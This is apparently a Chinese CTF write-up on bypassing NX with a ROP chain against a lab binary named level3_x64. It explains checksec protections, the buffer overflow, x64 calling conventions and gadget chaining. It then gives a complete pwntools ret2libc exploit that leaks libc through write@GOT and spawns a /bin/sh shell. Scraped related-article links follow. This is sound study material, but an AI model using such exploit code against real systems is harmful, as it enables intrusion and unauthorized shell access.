• 目标程序下载

    提取码:5o0a

  • 环境:Ubuntu linux

  • 工具

    1. pwn-gdb
    2. pwntools python库
    3. ROPgadget

( 这些工具可以到github官网找)

1.检查程序开了哪些安全机制

checksec 检查保护机制
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found 金丝雀
NX: NX enabled 栈不可执行Windows平台上称其为DEP
PIE: No PIE (0x8048000) 内存地址随机化机制,Windows平台上称其为ASLR

2.在ida中静态查看看程序中的漏洞点

可以看到 buf 这个字符串数组只有0x80的大小,但是却可以 read 0x200 个字节

多出来的 0x200-0x80 就会造成溢出

函数调用方式的基本介绍

32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数

而64位程序默认调用函数的方式则不同

  • RDI 中存放第1个参数
  • RSI 中存放第2个参数
  • RDX 中存放第3个参数
  • RCX 中存放第4个参数
  • R8 中存放第5个参数
  • R9 中存放第6个参数
  • 如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中
  • 然后 call

rop 的基本介绍

这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了

比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数

我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数

该怎么做呢?

首先我们要知道 call 指令与 ret 指令是有两步操作的

call指令:

1. 先把下一句指令的地址压入栈顶 rsp+=8
2. 跳转到call后面跟的地址上去

ret指令:

1. 跳转到rsp所指的地址(之前的call压入的)
2. rsp-=8

如果我们调用函数时不使用call指令呢?

函数结束时,移动栈顶(清栈) jmp [rsp] ,rsp-=8

程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret

程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2

好,我们把c函数的rbp+8的位置写 pop_ret 的地址

  • rbp+8 pop_ret
  • rbp+16 arg2
  • rbp+24 arg1
  • rbp+32 a函数的地址
  • rbp+40 pop_ret2
  • rbp+48 arg1
  • rbp+56 c函数的地址

当b运行结束后,会返回到 pop_ret 位置

pop rsi rsi=arg2

pop rdi rdi=agr1

jmp a函数

a函数 执行完后 会ret 到pop_ret2

pop rdi rdi=arg1

然后运行c函数


回到我们的目标程序

gdb打开程序

gdb level3_x64 -q
b mian vmmap

查看libc的系统位置

ROPgadget --binary level3_x64 --only 'pop|ret'

找到main函数的地址

from pwn import *
p = process("./level3_x64") #本地调试
#p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./level3_x64") pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
write_plt = elf.plt["write"]
write_got = elf.got["write"] padding = (0x80 + 8 ) * "a"
#0x80字符串长度要覆盖过去,+8是要覆盖rbp payload1 = padding + p64(pop_rdi_ret) +\
p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) +\
p64(0) + p64(write_plt) + p64(main_addr)
#通过plt表中的write调用 write(1,write_plt,...)
#第三个参数只要当前rdx寄存器中的数大于8就好
#然后返回main函数重新运行,准备重新触发漏洞 p.sendafter("Input:\n",payload1)
addr = u64(p.recv(6).ljust(8,"\x00"))
#通过write_plt找泄露libc中write的地址 libc.address = addr - libc.symbols["write"]
#通过write的地址 找libc基地址 binsh=libc.search("/bin/sh").next()
#通过libc基地址找libc中这个字符串的地址 system=libc.symbols["system"]
#通过libc基地址找libc中systemp函数的地址 payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh") p.send(payload2)
p.interactive()

成功启动了shell

NX 栈不可执行的绕过方式--ROP链的更多相关文章

  1. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  2. pie的绕过方式

    目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...

  3. 数据库语法整理及WAF绕过方式

    关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...

  4. Maven打包可执行Jar包方式

    第一步:pom.xm中的build标签下加入maven插件配置,打包生成可执行jar包方式Maven中的打包方式更换为 <packaging>jar</packaging> b ...

  5. C# -- 等待异步操作执行完成的方式

    C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] args) { Func<int ...

  6. MySQL统计信息以及执行计划预估方式初探

    数据库中的统计信息在不同(精确)程度上描述了表中数据的分布情况,执行计划通过统计信息获取符合查询条件的数据大小(行数),来指导执行计划的生成.在以Oracle和SQLServer为代表的商业数据库,和 ...

  7. Oracle查看SQL执行计划的方式

    Oracle查看SQL执行计划的方式     获取Oracle sql执行计划并查看执行计划,是掌握和判断数据库性能的基本技巧.下面案例介绍了多种查看sql执行计划的方式:   基本有以下几种方式: ...

  8. C# -- 等待异步操作执行完成的方式 C# -- 使用委托 delegate 执行异步操作 JavaScript -- 原型:prototype的使用 DBHelper类连接数据库 MVC View中获取action、controller、area名称、参数

    C# -- 等待异步操作执行完成的方式 C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] ...

  9. Linux执行shell脚本方式及区别&命令后台运行

    Linux执行shell脚本方式及区别&命令后台运行 http://blog.csdn.net/heqiyu34/article/details/19089951/

随机推荐

  1. DLL动态链接库导出函数方法 -- 动态导出(.def文件导出)

    简介 动态链接库最大的优势在于可以提供给其他应用程序共享的资源,最小化应用程序代码的复杂度,其中一个十分重要的功能就是dll可以导出封装函数的功能.导出函数有两种主要方式,分别是静态导入和动态导入,本 ...

  2. python: 用pygments给markdown文档染色

    首先你需要一个markdown解析器 比如有常见的markdown和markdown2,其他的可以参考这个网站的评价 我选择了mistune,自己继承写一个渲染的Renderer mistune的do ...

  3. win10系统上Python和pycharm的安装及配置

    1.https://www.python.org/downloads/windows/进入官网下载需要的Python安装包(以2.7版本为例) 2.http://www.jetbrains.com/p ...

  4. BZOJ 2761 不重复数字 set

    题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=2761 题目大意: 给出N个数,要求把其中重复的去掉,只保留第一次出现的数. 例如,给出 ...

  5. Python高级--闭包与装饰器

    前言:在Python中,闭包是一种非常有用的功能!它通常与装饰器一起搭配使用,可以在不改变被装饰函数的功能的基础上,完成更多的功能.如权限认证. 一.如何定义闭包 1.闭包就是两个嵌套的函数,外层函数 ...

  6. centos7之Java开发环境构建

    CensOS7环境 我个人的博客环境如下: 希望这个教程可以帮助到linux新手朋友们或者其他在安装软件时遇到问题的朋友们 当然了,百度上也有很多类似这样的教程,我个人贴出来,一来为分享,二来以后自己 ...

  7. javascrpt each map

    each方法: 定义一个空数组,通过each方法,往数组添加ID值:最后将数组转换成字符串后,alert这个值: $(function(){ var arr = []; $(":checkb ...

  8. WorldWind源码剖析系列:挂件类Widgets

    WorldWindow用户定制控件类中所包含的的挂件类Widgets控件主要有如下图所示的派生类.它们的类图如下所示. 鉴于挂件类Widgets及其派生类,相对简单,基本上都是些利用DirectX3D ...

  9. Python2.7-NumPy

    NumPy 提供了两种基本对象ndarray(N-dimensional array object)和 ufunc(universal function object)ndarray(下文统一称之为数 ...

  10. 微信小程序 bindcontroltap 绑定 没生效

    微信 bindcontroltap 绑定 没生效 多次查看官方文档,代码没有问题, 解决: windows下  显示设置中 缩放必须是100%,